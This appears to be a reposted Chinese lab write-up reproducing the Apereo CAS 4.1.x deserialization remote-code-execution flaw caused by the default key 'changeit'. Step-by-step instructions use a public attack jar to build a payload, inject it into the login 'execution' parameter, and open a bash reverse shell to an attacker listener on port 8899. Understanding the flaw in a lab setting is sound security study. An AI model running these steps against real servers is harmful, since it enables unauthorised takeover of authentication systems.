漏洞復現-apereo-cas-4.1-rce


 
 
 

0x00 實驗環境

攻擊機:Win 10

靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)

 

0x01 影響版本

影響版本 Apereo CAS <= 4.1.7(Apereo CAS是一款Apereo發布的集中認證服務平台,常被用於企業內部單點登錄系統。其4.1.7版本之前存在一處默認密鑰的問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,進而執行任意命令。)

 

0x02 漏洞復現

(1)訪問頁面:(其實這個頁面並不常見,大部分應該都是有修改過,挖漏洞也很少遇到這類,版本為4.1.5,存在該漏洞)

 

(2)下載命令執行工具生成payload:

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir 123"

 

(3)上面的即為我們的payload了,直接在登錄頁面進行抓包,修改命令為payload即可:

 

(4)發送至repeater模塊,修改參數“execution”為生成的payload

可以發現肉雞生成了一個123的文件夾,這個工具沒法直接將結果返回過來,因此大部分情況都是用來反彈shell。

 

(5)反彈shell的命令:

/bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1

這里不能直接放在里面,需要編碼一下命令才行,復現久了就能習慣性的知道怎么做了:

 

 在網站:http://www.jackson-t.ca/runtime-exec-payloads.html

轉換一下命令的編碼格式,然后再去生成payload

 

然后直接執行命令,在自己的攻擊機vps上監聽8899,burp發包即可:

 

發一下包就能獲取到反彈回來的shell:

 

0x04 漏洞原理

Webflow中使用了默認密鑰changeit

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM